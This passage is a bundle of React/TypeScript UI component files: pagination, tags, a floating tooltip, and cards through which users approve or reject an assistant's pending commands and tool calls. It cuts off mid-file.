ChevronLeft, ChevronRight, MoreHorizontal } from \"lucide-react\"\nimport * as React from \"react\"\nimport { cn } from \"../utils/cn\"\nimport { Button } from \"./ui/button\"\n\ninterface PaginationProps {\n  currentPage: number\n  totalPages: number\n  onPageChange: (page: number) => void\n  className?: string\n}\n\nconst Pagination = ({ currentPage, totalPages, onPageChange, className }: PaginationProps) => {\n  // Generate page numbers to display\n  const getPageNumbers = () => {\n    const pages = []\n    const maxPagesToShow = 5\n\n    if (totalPages <= maxPagesToShow) {\n      // Show all pages if there are fewer than maxPagesToShow\n      for (let i = 1; i <= totalPages; i++) {\n        pages.push(i)\n      }\n    } else {\n      // Always show first page\n      pages.push(1)\n\n      // Calculate start and end of page range\n      let start = Math.max(2, currentPage - 1)\n      let end = Math.min(totalPages - 1, currentPage + 1)\n\n      // Adjust if at the beginning or end\n      if (currentPage <= 2) {\n        end = Math.min(totalPages - 1, 4)\n      } else if (currentPage >= totalPages - 1) {\n        start = Math.max(2, totalPages - 3)\n      }\n\n      // Add ellipsis if needed\n      if (start > 2) {\n        pages.push(-1) // -1 represents ellipsis\n      }\n\n      // Add middle pages\n      for (let i = start; i <= end; i++) {\n        pages.push(i)\n      }\n\n      // Add ellipsis if needed\n      if (end < totalPages - 1) {\n        pages.push(-2) // -2 represents ellipsis\n      }\n\n      // Always show last page\n      if (totalPages > 1) {\n        pages.push(totalPages)\n      }\n    }\n\n    return pages\n  }\n\n  const pageNumbers = getPageNumbers()\n\n  return (\n    <nav role=\"navigation\" aria-label=\"pagination\" className={cn(\"mx-auto flex w-full justify-center\", className)}>\n      <ul className=\"flex flex-row items-center gap-1\">\n        <li>\n          <Button\n            variant=\"outline\"\n            size=\"icon\"\n            onClick={() => onPageChange(currentPage - 1)}\n            disabled={currentPage === 1}\n            aria-label=\"Go to previous page\"\n            className=\"!h-10 !w-10 md:!h-10 md:!w-10\"\n          >\n            <ChevronLeft className=\"h-4 w-4\" />\n          </Button>\n        </li>\n\n        {pageNumbers.map((page, index) => {\n          if (page < 0) {\n            // Render ellipsis\n            return (\n              <li key={`ellipsis-${index}`}>\n                <span className=\"flex h-9 w-9 items-center justify-center text-h6 text-muted-foreground\">\n                  <MoreHorizontal className=\"h-4 w-4\" />\n                  <span className=\"sr-only\">More pages</span>\n                </span>\n              </li>\n            )\n          }\n\n          return (\n            <li key={page}>\n              <Button\n                variant={currentPage === page ? \"accent\" : \"outline\"}\n                size=\"icon\"\n                onClick={() => onPageChange(page)}\n                className=\"!h-9 !w-9 md:!h-9 md:!w-9\"\n                aria-label={`Page ${page}`}\n                aria-current={currentPage === page ? \"page\" : undefined}\n              >\n                {page}\n              </Button>\n            </li>\n          )\n        })}\n\n        <li>\n          <Button\n            variant=\"outline\"\n            size=\"icon\"\n            onClick={() => onPageChange(currentPage + 1)}\n            disabled={currentPage === totalPages}\n            aria-label=\"Go to next page\"\n            className=\"!h-10 !w-10 md:!h-10 md:!w-10\"\n          >\n            <ChevronRight className=\"h-4 w-4\" />\n            <span className=\"sr-only\">Next page</span>\n          </Button>\n        </li>\n      </ul>\n    </nav>\n  )\n}\n\nconst PaginationContent = React.forwardRef<HTMLUListElement, React.HTMLAttributes<HTMLUListElement>>(\n  ({ className, ...props }, ref) => {\n    return <ul ref={ref} className={cn(\"flex items-center justify-center\", className)} {...props} />\n  },\n)\nPaginationContent.displayName = \"PaginationContent\"\n\nconst PaginationItem = React.forwardRef<HTMLLIElement, React.HTMLAttributes<HTMLLIElement>>(\n  ({ className, ...props }, ref) => {\n    return <li ref={ref} className={cn(\"\", className)} {...props} />\n  },\n)\nPaginationItem.displayName = \"PaginationItem\"\n\nconst PaginationLink = React.forwardRef<HTMLButtonElement, React.ButtonHTMLAttributes<HTMLButtonElement>>(\n  ({ className, ...props }, ref) => {\n    return (\n      <button\n        ref={ref}\n        className={cn(\n          \"inline-flex items-center justify-center h-10 w-10 rounded-md border border-input bg-background text-h6 transition-colors hover:bg-accent hover:text-accent-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring\",\n          className,\n        )}\n        {...props}\n      />\n    )\n  },\n)\nPaginationLink.displayName = \"PaginationLink\"\n\nconst PaginationEllipsis = React.forwardRef<HTMLSpanElement, React.HTMLAttributes<HTMLSpanElement>>(\n  ({ className, ...props }, ref) => {\n    return (\n      <span\n        ref={ref}\n        className={cn(\"h-10 w-10 flex items-center justify-center text-muted-foreground\", className)}\n        {...props}\n      >\n        <MoreHorizontal className=\"h-4 w-4\" />\n        <span className=\"sr-only\">More pages</span>\n      </span>\n    )\n  },\n)\nPaginationEllipsis.displayName = \"PaginationEllipsis\"\n\nconst PaginationPrevious = React.forwardRef<HTMLButtonElement, React.ButtonHTMLAttributes<HTMLButtonElement>>(\n  ({ className, ...props }, ref) => {\n    return (\n      <Button ref={ref} variant=\"outline\" size=\"icon\" className={cn(\"h-10 w-10\", className)} {...props}>\n        <ChevronLeft className=\"h-4 w-4\" />\n        <span className=\"sr-only\">Previous page</span>\n      </Button>\n    )\n  },\n)\nPaginationPrevious.displayName = \"PaginationPrevious\"\n\nconst PaginationNext = React.forwardRef<HTMLButtonElement, React.ButtonHTMLAttributes<HTMLButtonElement>>(\n  ({ className, ...props }, ref) => {\n    return (\n      <Button ref={ref} variant=\"outline\" size=\"icon\" className={cn(\"h-10 w-10\", className)} {...props}>\n        <ChevronRight className=\"h-4 w-4\" />\n        <span className=\"sr-only\">Next page</span>\n      </Button>\n    )\n  },\n)\nPaginationNext.displayName = \"PaginationNext\"\n\nexport {\n  Pagination,\n  PaginationContent, PaginationEllipsis, PaginationItem,\n  PaginationLink, PaginationNext, PaginationPrevious\n}\n\n","\"use client\"\n\nimport { forwardRef, useState } from \"react\"\nimport { cn } from \"../../utils/cn\"\nimport { Button } from \"../ui/button\"\nimport { Tag } from \"../ui/tag\"\nimport { Ban, CheckCircle, XCircle } from \"lucide-react\"\nimport { ApprovalStatusTag } from \"./approval-batch-message\"\nimport type { ApprovalRequestMessageProps } from \"./types\"\nimport type { ApprovalRequestField } from \"./types/message.types\"\n\n/**\n * Stacked label/value rows for the approval card's structured field\n * list. Labels are tiny uppercase muted text; values render as primary\n * text with `whitespace-pre-wrap` so multi-line descriptions\n * (`content`, `resolution`, etc.) keep their structure. Mirrored across\n * the pending + resolved branches so an approved ticket reads the same\n * way it did at decision time.\n */\nfunction ApprovalFieldList({ fields }: { fields: ApprovalRequestField[] }) {\n  return (\n    <dl className=\"flex flex-col gap-2.5 mt-[var(--spacing-system-xxs)]\">\n      {fields.map((f, i) => (\n        <div key={i} className=\"flex flex-col gap-0.5\">\n          <dt className=\"text-h6 font-semibold uppercase text-ods-text-tertiary\">\n            {f.label}\n          </dt>\n          <dd className=\"text-h6 text-ods-text-primary whitespace-pre-wrap break-words\">\n            {f.value}\n          </dd>\n        </div>\n      ))}\n    </dl>\n  )\n}\n\n/**\n * Shared body for both pending and resolved branches of\n * `<ApprovalRequestMessage>`. The pending card adds Approve/Reject\n * buttons below; the resolved card adds an Approved/Rejected `<Tag>`.\n * Everything ABOVE the footer — command bar, icon, structured-fields\n * stack, explanation paragraph — is identical, so the body lives here\n * to prevent silent drift between the two render paths (a prior\n * version already had a `break-words` vs `break-all` mismatch on the\n * `<code>` element from an out-of-sync copy-paste edit).\n */\nfunction ApprovalCardBody({\n  data,\n}: {\n  data: ApprovalRequestMessageProps['data']\n}) {\n  return (\n    <div className=\"flex flex-col gap-[var(--spacing-system-xxs)]\">\n      <div className=\"bg-ods-bg border border-ods-border rounded-md p-[var(--spacing-system-sf)] flex gap-[var(--spacing-system-xsf)] items-start max-h-32 overflow-y-auto overscroll-contain\">\n        <code className=\"text-code text-ods-text-primary flex-1 whitespace-pre-wrap break-words\">\n          {data.command}\n        </code>\n        {data.icon && (\n          <div className=\"w-4 h-4 shrink-0 text-ods-text-tertiary\">\n            {data.icon}\n          </div>\n        )}\n      </div>\n      {data.fields && data.fields.length > 0 ? (\n        <ApprovalFieldList fields={data.fields} />\n      ) : (\n        data.explanation && (\n          <p className=\"text-h6 text-ods-text-secondary whitespace-pre-line break-words\">\n            {data.explanation}\n          </p>\n        )\n      )}\n    </div>\n  )\n}\n\nconst ApprovalRequestMessage = forwardRef<HTMLDivElement, ApprovalRequestMessageProps>(\n  // `assistantType` is accepted for prop-parity with the batch card (so hosts\n  // can forward it uniformly); the viewer variant is driven by `variant`.\n  ({ className, data, onApprove, onReject, status = 'pending', assistantType: _assistantType, variant = 'admin', resolvedByName, showFooterActions = true, ...props }, ref) => {\n    const [isProcessing, setIsProcessing] = useState(false)\n\n    const handleApprove = async () => {\n      setIsProcessing(true)\n      try {\n        await onApprove?.(data.requestId)\n      } finally {\n        setIsProcessing(false)\n      }\n    }\n\n    const handleReject = async () => {\n      setIsProcessing(true)\n      try {\n        await onReject?.(data.requestId)\n      } finally {\n        setIsProcessing(false)\n      }\n    }\n\n    // CLIENT (Fae end-user) card — Figma 203-11947 \"fae-approval-block\".\n    // Shows ONLY the BE-generated title (`explanation`) plus the actions row\n    // or the full-text resolved pill; the raw command is never rendered.\n    if (variant === 'client') {\n      return (\n        <div\n          ref={ref}\n          className={cn(\n            \"bg-ods-card border border-ods-border rounded-md p-[var(--spacing-system-mf)] mb-[var(--spacing-system-xsf)] flex flex-col gap-[var(--spacing-system-mf)]\",\n            className\n          )}\n          {...props}\n        >\n          <p className=\"text-h4 text-ods-text-primary whitespace-pre-line break-words w-full\">\n            {data.explanation?.trim() || \"Approval required\"}\n          </p>\n          {!showFooterActions ? null : status === 'pending' ? (\n            <div className=\"flex gap-[var(--spacing-system-mf)] items-center w-full\">\n              <Button\n                size=\"small-legacy\"\n                variant=\"accent\"\n                onClick={handleApprove}\n                disabled={isProcessing || !onApprove}\n                className={cn(\n                  \"bg-ods-accent hover:bg-ods-accent/90\",\n                  \"text-h5 text-ods-bg\",\n                  \"px-[var(--spacing-system-xsf)] h-8\"\n                )}\n              >\n                Approve\n              </Button>\n              <Button\n                size=\"small-legacy\"\n                variant=\"outline\"\n                onClick={handleReject}\n                disabled={isProcessing || !onReject}\n                className={cn(\n                  \"bg-ods-card border-ods-border\",\n                  \"text-h5 text-ods-text-primary\",\n                  \"hover:bg-ods-bg px-[var(--spacing-system-xsf)] h-8\"\n                )}\n              >\n                Reject\n              </Button>\n            </div>\n          ) : (\n            <div className=\"flex w-full\">\n              <ApprovalStatusTag status={status} resolvedByName={resolvedByName} inlineResolver />\n            </div>\n          )}\n        </div>\n      )\n    }\n\n    return (\n      <div\n        ref={ref}\n        className={cn(\n          \"bg-ods-card border border-ods-border rounded-md p-[var(--spacing-system-mf)] mb-[var(--spacing-system-xsf)] flex flex-col gap-[var(--spacing-system-mf)]\",\n          className\n        )}\n        {...props}\n      >\n        <ApprovalCardBody data={data} />\n        {!showFooterActions ? null : status === 'pending' ? (\n          <div className=\"flex gap-[var(--spacing-system-mf)] items-center\">\n            <Button\n              size=\"small-legacy\"\n              variant=\"accent\"\n              onClick={handleApprove}\n              disabled={isProcessing || !onApprove}\n              className={cn(\n                \"bg-ods-accent hover:bg-ods-accent/90\",\n                \"text-h5 text-ods-bg\",\n                \"px-[var(--spacing-system-xsf)] h-8\"\n              )}\n            >\n              Approve\n            </Button>\n            <Button\n              size=\"small-legacy\"\n              variant=\"outline\"\n              onClick={handleReject}\n              disabled={isProcessing || !onReject}\n              className={cn(\n                \"bg-ods-card border-ods-border\",\n                \"text-h5 text-ods-text-primary\",\n                \"hover:bg-ods-bg px-[var(--spacing-system-xsf)] h-8\"\n              )}\n            >\n              Reject\n            </Button>\n          </div>\n        ) : (\n          <div className=\"flex\">\n            {status === 'approved' ? (\n              <Tag label=\"Approved\" variant=\"success\" icon={<CheckCircle className=\"w-4 h-4\" />} />\n            ) : status === 'cancelled' ? (\n              <Tag label=\"Canceled\" variant=\"grey\" icon={<Ban className=\"w-4 h-4\" />} />\n            ) : (\n              <Tag label=\"Rejected\" variant=\"error\" icon={<XCircle className=\"w-4 h-4\" />} />\n            )}\n          </div>\n        )}\n      </div>\n    )\n  }\n)\n\nApprovalRequestMessage.displayName = \"ApprovalRequestMessage\"\n\nexport { ApprovalRequestMessage }","\"use client\"\n\nimport React from \"react\"\nimport { cva, type VariantProps } from \"class-variance-authority\"\nimport { XmarkCircleIcon } from \"../icons-v2-generated/signs-and-symbols/xmark-circle-icon\"\nimport { cn } from \"../../utils/cn\"\nimport { useIsTruncated } from \"../../hooks/ui/use-is-truncated\"\nimport { FloatingTooltip } from \"./floating-tooltip\"\n\nconst tagVariants = cva(\n  [\n    \"inline-flex items-center justify-center rounded-md\",\n    \"transition-colors duration-150\",\n  ],\n  {\n    variants: {\n      // Chip scale. `default` is the classic 32px mono-uppercase tag; `large`\n      // is the Figma \"Feature Item\" chip (48px, h3 bold body label) used by\n      // chip groups acting as tabs (OpenFrame categories).\n      size: {\n        default: \"text-h5 h-8 gap-[var(--spacing-system-xs)] p-[var(--spacing-system-xsf)]\",\n        large: \"text-h3 font-bold h-12 gap-[var(--spacing-system-xs)] p-[var(--spacing-system-s)]\",\n      },\n      variant: {\n        primary: [\n          \"bg-ods-accent text-ods-text-on-accent\",\n          \"hover:bg-ods-accent-hover active:bg-ods-accent-active\",\n        ],\n        outline: [\n          \"bg-ods-card text-ods-text-primary border border-ods-border\",\n          \"hover:bg-ods-bg-hover hover:border-ods-border-hover\",\n          \"active:bg-ods-bg-active active:border-ods-border-active\",\n        ],\n        success: [\n          \"bg-ods-success-secondary text-ods-success\",\n          \"hover:bg-ods-success-secondary-hover active:bg-ods-success-secondary-active\",\n        ],\n        warning: [\n          \"bg-ods-warning-secondary text-ods-warning\",\n          \"hover:bg-ods-warning-secondary-hover active:bg-ods-warning-secondary-active\",\n        ],\n        error: [\n          \"bg-ods-error-secondary text-ods-error\",\n          \"hover:bg-ods-error-secondary-hover active:bg-ods-error-secondary-active\",\n        ],\n        critical: [\n          \"bg-ods-error text-ods-error-secondary\",\n          \"hover:bg-ods-error-hover active:bg-ods-error-active\",\n        ],\n        grey: [\n          \"bg-ods-bg-surface text-ods-text-secondary\",\n          \"hover:bg-ods-bg-surface-hover active:bg-ods-bg-surface-active\",\n        ],\n        // Active/selected chip state (Figma \"Feature Item\" active): pink\n        // border + pink-secondary fill. A dedicated variant (not appended\n        // utilities) so its own hover rules win — the outline variant's\n        // hover:bg/hover:border would otherwise repaint an active chip grey.\n        selected: [\n          \"bg-ods-flamingo-pink-secondary text-ods-text-primary border border-ods-flamingo-pink\",\n          \"hover:bg-ods-flamingo-pink-secondary-hover hover:border-ods-flamingo-pink\",\n          \"active:bg-ods-flamingo-pink-secondary-active\",\n        ],\n        // Cyan twin of `selected` (Mingo's accent) — same active-chip skin in the\n        // cyan theme so agent chip groups can match their own accent.\n        selectedCyan: [\n          \"bg-ods-flamingo-cyan-secondary text-ods-text-primary border border-ods-flamingo-cyan\",\n          \"hover:bg-ods-flamingo-cyan-secondary-hover hover:border-ods-flamingo-cyan\",\n          \"active:bg-ods-flamingo-cyan-secondary-active\",\n        ],\n        // Matches the EntityTagBadges / StatusBadge tag skin (ods-card + ods-border,\n        // mono uppercase) so the tag-editor chips render identically to the public\n        // tag badges. Used for FilterChipData variant 'tag' (see search-input).\n        badge: [\n          \"bg-ods-card text-ods-text-primary border border-ods-border font-mono uppercase tracking-wide\",\n          \"hover:border-ods-accent transition-colors\",\n        ],\n      },\n    },\n    defaultVariants: {\n      variant: \"primary\",\n      size: \"default\",\n    },\n  }\n)\n\nconst disabledTagClasses = [\n  \"bg-ods-bg-surface text-ods-text-secondary\",\n  \"border-transparent\",\n  \"cursor-not-allowed\",\n  \"pointer-events-none\",\n]\n\nexport interface TagProps\n  extends Omit<React.HTMLAttributes<HTMLDivElement>, 'children'>,\n    VariantProps<typeof tagVariants> {\n  label: React.ReactNode\n  labelClassName?: string\n  icon?: React.ReactNode\n  onClose?: () => void\n  disabled?: boolean\n  /**\n   * Root element. Defaults to `'div'`. Pass `'span'` to render an INLINE tag\n   * that is valid inside phrasing content (e.g. a markdown `<p>` — a block\n   * `<div>` there is invalid HTML and breaks hydration). The variant base is\n   * already `inline-flex`, so the span lays out identically. Note: `onClose`\n   * renders a `<button>`, which is fine inside a `<span>` but not inside an\n   * `<a>` — don't combine `as=\"span\"` + `onClose` inside an anchor.\n   */\n  as?: 'div' | 'span'\n}\n\n/**\n * The tag's label slot. String labels get a `FloatingTooltip` with the full\n * value when (and only when) the text is actually clipped — replacing the old\n * native `title`, which showed with the OS delay, unstyled, and even when\n * nothing was truncated. Node labels render exactly as before: the caller owns\n * their content (and any tooltip), so none is added here.\n * The trigger is a `span` so the tag stays valid phrasing content (`as=\"span\"`\n * exists precisely for tags inside a `<p>`).\n */\nfunction TagLabel({ label, labelClassName }: { label: React.ReactNode; labelClassName?: string }) {\n  const isString = typeof label === 'string'\n  const { ref, isTruncated } = useIsTruncated<HTMLSpanElement>(isString ? label : null)\n\n  if (!isString) {\n    return <span className={cn(\"truncate\", labelClassName)}>{label}</span>\n  }\n\n  return (\n    <FloatingTooltip\n      content={label}\n      side=\"top\"\n      disabled={!isTruncated}\n      as=\"span\"\n      triggerClassName=\"min-w-0 max-w-full\"\n      className=\"max-w-xs whitespace-pre-line [overflow-wrap:anywhere]\"\n    >\n      <span ref={ref} className={cn(\"truncate block\", labelClassName)}>{label}</span>\n    </FloatingTooltip>\n  )\n}\n\nfunction Tag({\n  label,\n  variant,\n  size,\n  icon,\n  onClose,\n  className,\n  labelClassName,\n  disabled,\n  as: Comp = 'div',\n  ...props\n}: TagProps) {\n  return (\n    <Comp\n      className={cn(\n        tagVariants({ variant, size }),\n        disabled && disabledTagClasses,\n        className\n      )}\n      aria-disabled={disabled || undefined}\n      {...props}\n    >\n      {icon && (\n        <span className={cn(\"flex items-center justify-center shrink-0\", size === 'large' ? 'size-6' : 'size-5')}>\n          {icon}\n        </span>\n      )}\n      <TagLabel label={label} labelClassName={labelClassName} />\n      {onClose && (\n        <button\n          type=\"button\"\n          disabled={disabled}\n          onClick={(e) => {\n            e.stopPropagation()\n            onClose()\n          }}\n          className={cn(\n            \"flex items-center justify-center size-5 shrink-0 rounded-full opacity-70 transition-opacity\",\n            disabled ? \"cursor-not-allowed\" : \"hover:opacity-100\"\n          )}\n          aria-label=\"Remove\"\n        >\n          <XmarkCircleIcon className=\"size-4\" />\n        </button>\n      )}\n    </Comp>\n  )\n}\n\nexport { Tag, tagVariants }\n","\"use client\"\n\nimport * as React from \"react\"\nimport {\n  useFloating,\n  autoUpdate,\n  offset,\n  flip,\n  shift,\n  size,\n  useDismiss,\n  useRole,\n  useInteractions,\n  FloatingPortal,\n  useHover,\n  safePolygon,\n  arrow,\n} from '@floating-ui/react'\nimport { cn } from \"../../utils/cn\"\n\ninterface FloatingTooltipProps {\n  content: React.ReactNode\n  children: React.ReactNode\n  side?: \"top\" | \"right\" | \"bottom\" | \"left\"\n  className?: string\n  delayDuration?: number\n  /** Disable the tooltip without unmounting the trigger wrapper. */\n  disabled?: boolean\n  /**\n   * Classes for the trigger wrapper — the element this component puts around\n   * `children` to anchor the tooltip. That element becomes the flex/grid item in\n   * the caller's layout, so anything the child needed there (`min-w-0`, `flex-1`)\n   * must move onto it. Omit it and the wrapper carries no class, exactly as before.\n   */\n  triggerClassName?: string\n  /**\n   * Trigger wrapper element. Default `'div'`. Use `'span'` where a block element\n   * is invalid HTML — inside a `<p>`, a heading, or another `<span>`.\n   */\n  as?: 'div' | 'span'\n}\n\n// Parse colored text markup like [YELLOW]text[/YELLOW] into JSX\nfunction parseColoredText(text: string): React.ReactNode {\n  if (typeof text !== 'string') return text;\n\n  const parts: React.ReactNode[] = []\n  let lastIndex = 0\n  \n  // Regex to match [COLOR]text[/COLOR] patterns\n  const colorRegex = /\\[([A-Z]+)\\](.*?)\\[\\/\\1\\]/g\n  let match\n  let keyIndex = 0\n\n  while ((match = colorRegex.exec(text)) !== null) {\n    // Add text before the colored part\n    if (match.index > lastIndex) {\n      const beforeText = text.slice(lastIndex, match.index)\n      parts.push(<span key={`text-${keyIndex++}`}>{beforeText}</span>)\n    }\n    \n    // Add colored text\n    const color = match[1].toLowerCase()\n    const coloredText = match[2]\n    \n    // Map colors to ODS CSS classes using correct Tailwind class names\n    const colorClass = color === 'yellow' ? 'text-ods-accent' : \n                      color === 'green' ? 'text-ods-success' :\n                      color === 'red' ? 'text-ods-error' :\n                      color === 'blue' ? 'text-ods-info' :\n                      color === 'pink' ? 'text-ods-accent' :\n                      color === 'cyan' ? 'text-ods-info' :\n                      'text-ods-accent' // Default to ODS accent\n    \n    parts.push(\n      <span key={`color-${keyIndex++}`} className={cn(\"font-semibold\", colorClass)}>\n        {coloredText}\n      </span>\n    )\n    \n    lastIndex = match.index + match[0].length\n  }\n  \n  // Add remaining text\n  if (lastIndex < text.length) {\n    const remainingText = text.slice(lastIndex)\n    parts.push(<span key={`text-${keyIndex++}`}>{remainingText}</span>)\n  }\n  \n  return parts.length > 0 ? <>{parts}</> : text\n}\n\nexport function FloatingTooltip({\n  content,\n  children,\n  side = \"right\",\n  className,\n  delayDuration = 0,\n  disabled = false,\n  triggerClassName,\n  as: TriggerTag = 'div',\n}: FloatingTooltipProps) {\n  const [isOpen, setIsOpen] = React.useState(false)\n  const arrowRef = React.useRef<HTMLDivElement>(null)\n\n  const { refs, floatingStyles, context, placement, middlewareData } = useFloating({\n    open: isOpen,\n    onOpenChange: setIsOpen,\n    placement: side,\n    middleware: [\n      offset(12),\n      flip({\n        fallbackAxisSideDirection: \"start\",\n        crossAxis: false,\n        padding: 8,\n      }),\n      shift({ padding: 8 }),\n      // Cap the tooltip to the space left in the viewport so tall content\n      // scrolls inside it instead of overflowing off-screen. Applied straight to\n      // the floating node's style (no React state → no autoUpdate re-render loop);\n      // the inner scroll wrapper below turns the cap into an actual scroll area.\n      size({\n        padding: 8,\n        apply({ availableHeight, elements }) {\n          elements.floating.style.maxHeight = `${Math.max(64, availableHeight)}px`\n        },\n      }),\n      arrow({ element: arrowRef }),\n    ],\n    whileElementsMounted: autoUpdate,\n  })\n\n  const hover = useHover(context, {\n    move: false,\n    enabled: !disabled,\n    delay: { open: delayDuration, close: 0 },\n    handleClose: safePolygon(),\n  })\n  const dismiss = useDismiss(context)\n  const role = useRole(context, { role: \"tooltip\" })\n\n  const { getReferenceProps, getFloatingProps } = useInteractions([\n    hover,\n    dismiss,\n    role,\n  ])\n\n  // Parse content if it's a string with color markup\n  const parsedContent = React.useMemo(() => {\n    if (typeof content === 'string') {\n      return parseColoredText(content)\n    }\n    return content\n  }, [content])\n\n  // Calculate arrow position\n  const { x: arrowX, y: arrowY } = middlewareData.arrow ?? {}\n  \n  const staticSide = {\n    top: 'bottom',\n    right: 'left',\n    bottom: 'top',\n    left: 'right',\n  }[placement.split('-')[0]]\n\n  return (\n    <>\n      <TriggerTag ref={refs.setReference} className={triggerClassName} {...getReferenceProps()}>\n        {children}\n      </TriggerTag>\n      <FloatingPortal>\n        {isOpen && (\n          <div\n            ref={refs.setFloating}\n            style={{\n              ...floatingStyles,\n              zIndex: 2147483647,\n            }}\n            {...getFloatingProps()}\n            className={cn(\n              // ODS Design System tooltip styling. `flex flex-col` + `overflow-hidden`\n              // let the inner wrapper own the scroll while the rounded corners clip it.\n              \"max-w-xs flex flex-col overflow-hidden rounded-md\",\n              \"bg-ods-card border border-ods-border\",\n              // ODS shadows for proper elevation\n              \"shadow-[var(--shadow-md)]\",\n              className\n            )}\n          >\n            {/* Scroll wrapper — `min-h-0` lets it shrink below content height inside\n                the max-height cap set by the `size` middleware, so tall content scrolls. */}\n            <div className=\"min-h-0 overflow-y-auto px-3 py-2.5 text-h6 text-ods-text-primary whitespace-pre-line\">\n              {parsedContent}\n            </div>\n            {/* Arrow element */}\n            <div\n              ref={arrowRef}\n              style={{\n                left: arrowX != null ? `${arrowX}px` : '',\n                top: arrowY != null ? `${arrowY}px` : '',\n                ...(staticSide && { [staticSide as string]: '-4px' }),\n              }}\n              className={cn(\n                \"absolute w-2 h-2 rotate-45\",\n                \"bg-ods-card border-ods-border\",\n                {\n                  'border-r border-b': staticSide === 'left',\n                  'border-l border-b': staticSide === 'right',\n                  'border-t border-r': staticSide === 'bottom',\n                  'border-b border-l': staticSide === 'top',\n                }\n              )}\n            />\n          </div>\n        )}\n      </FloatingPortal>\n    </>\n  )\n}","\"use client\"\n\nimport { forwardRef, useState } from \"react\"\nimport { cn } from \"../../utils/cn\"\nimport { Button } from \"../ui/button\"\nimport { Tag } from \"../ui/tag\"\nimport { ToolType } from \"../platform\"\nimport { ToolIcon } from \"../tool-icon\"\nimport { CheckCircleIcon, DotsLoaderIcon, XmarkCircleIcon, XmarkIcon } from \"../icons-v2-generated\"\nimport { ExpandChevron } from \"./expand-chevron\"\nimport { useCollapsible } from \"./hooks/use-collapsible\"\nimport { ArgRow, ResultBlock } from \"./tool-call-blocks\"\nimport type {\n  ApprovalBlockVariant,\n  AssistantType,\n  ApprovalBatchExecutionState,\n  ApprovalBatchSegment,\n  PendingToolCallData,\n} from \"./types\"\nimport {\n  COMMAND_BODY_ARG_KEYS,\n  getCommandText,\n} from \"./utils/tool-call-helpers\"\n\nexport interface ApprovalBatchMessageProps extends React.HTMLAttributes<HTMLDivElement> {\n  data: ApprovalBatchSegment[\"data\"]\n  status?: ApprovalBatchSegment[\"status\"]\n  onApprove?: (requestId?: string) => void | boolean | Promise<void | boolean>\n  onReject?: (requestId?: string) => void | boolean | Promise<void | boolean>\n  /**\n   * Cap the tool-call list height so it scrolls internally while the footer\n   * (explanations + Approve/Reject) stays pinned below. Omit for the default\n   * chat behaviour where the whole batch grows with its content.\n   */\n  maxBodyHeight?: number | string\n  /** Display name of the user who resolved the request; shown as \"by {name}\" beside the status tag. */\n  resolvedByName?: string | null\n  /**\n   * Per-tool execution status icon (queued dots → check/cross). On in dialog messages where tool\n   * execution is tracked live; turn off for notifications, which have no execution state and would\n   * otherwise show the dots spinner forever after approval. Defaults to on.\n   */\n  showExecutionStatus?: boolean\n  /**\n   * Chat identity. Kept for prop parity with the message renderers; does NOT\n   * drive the styling anymore — use `variant` instead. An admin can be\n   * looking at a Fae dialog (tickets dialog client tab) and must still see\n   * the full admin block.\n   */\n  assistantType?: AssistantType\n  /**\n   * Viewer variant. `'admin'` (default) = full block with command preview,\n   * expandable args/result and tool icon. `'client'` = end-client (Fae\n   * desktop app) card that shows ONLY the BE-generated title(s) plus the\n   * Approve/Reject buttons or the full-text resolved pill (\"Approved by\n   * {name}\") — commands and scripts are never rendered.\n   */\n  variant?: ApprovalBlockVariant\n  /**\n   * Render the footer Approve/Reject buttons (or the resolved-status tag).\n   * Turn off when the host owns the actions row — e.g. the approval\n   * notification tile. Explanation bullets still render.\n   */\n  showFooterActions?: boolean\n}\n\nconst COMMAND_BODY_KEYS = new Set<string>(COMMAND_BODY_ARG_KEYS)\n\nexport interface ApprovalStatusTagProps {\n  status: ApprovalBatchSegment[\"status\"]\n  resolvedByName?: string | null\n  inlineResolver?: boolean\n}\n\n/**\n * Terminal-status badge for a resolved approval batch (approved / rejected /\n * cancelled); renders nothing while pending. With `inlineResolver` the\n * resolver's name is baked into the tag as a single full-text pill\n * (\"Approved by {name}\"); otherwise callers render \"by {name}\" as a separate\n * muted span. Also used by the approval notification tile, which hosts the\n * actions row itself (`showFooterActions={false}`).\n */\nexport function ApprovalStatusTag({ status, resolvedByName, inlineResolver = false }: ApprovalStatusTagProps) {\n  const suffix = inlineResolver && resolvedByName ? ` by ${resolvedByName}` : \"\"\n  if (status === \"approved\") {\n    return <Tag label={`Approved${suffix}`} variant=\"success\" icon={<CheckCircleIcon className=\"w-4 h-4\" />} />\n  }\n  if (status === \"cancelled\") {\n    return <Tag label={`Canceled${suffix}`} variant=\"grey\" icon={<XmarkIcon className=\"w-4 h-4\" />} />\n  }\n  if (status === \"rejected\") {\n    return <Tag label={`Rejected${suffix}`} variant=\"error\" icon={<XmarkCircleIcon className=\"w-4 h-4\" />} />\n  }\n  return null\n}\n\nfunction getArgEntries(call: PendingToolCallData): Array<[string, unknown]> {\n  const args = call.toolCallArguments\n  if (!args || typeof args !== \"object\") return []\n  return Object.entries(args).filter(([k, v]) => !COMMAND_BODY_KEYS.has(k) && v !== null && v !== undefined && v !== \"\")\n}\n\n/**\n * Status icon for one tool call inside an approved/done batch.\n *  - pending batch     → null (chevron-only row, no status icon)\n *  - approved, no exec → DotsLoaderIcon (queued / waiting for backend)\n *  - executing         → DotsLoaderIcon\n *  - done + success    → green check\n *  - done + failure    → red cross\n */\nfunction ExecutionStatusIcon({\n  batchStatus,\n  execution,\n}: {\n  batchStatus: ApprovalBatchSegment[\"status\"]\n  execution: ApprovalBatchExecutionState | undefined\n}) {\n  if (batchStatus !== \"approved\") return null\n  if (!execution || execution.status === \"executing\") return <DotsLoaderIcon size={16} className=\"text-ods-text-secondary\" />\n  if (execution.success === false) return <XmarkCircleIcon className=\"w-4 h-4 text-ods-error\" />\n  return <CheckCircleIcon className=\"w-4 h-4 text-ods-success\" />\n}\n\ninterface ToolCallRowProps {\n  call: PendingToolCallData\n  expanded: boolean\n  onToggle: () => void\n  batchStatus: ApprovalBatchSegment[\"status\"]\n  execution: ApprovalBatchExecutionState | undefined\n  showExecutionStatus: boolean\n}\n\n// ADMIN-only row: command preview header, expandable args/result. The client\n// variant never renders tool calls — see the `variant === 'client'` branch of\n// `<ApprovalBatchMessage>`.\nfunction ToolCallRow({ call, expanded, onToggle, batchStatus, execution, showExecutionStatus }: ToolCallRowProps) {\n  const command = getCommandText(call)\n  const args = getArgEntries(call)\n  const toolType = (call.toolType as ToolType) || (\"OPENFRAME\" as ToolType)\n  const { innerRef, containerStyle } = useCollapsible({ 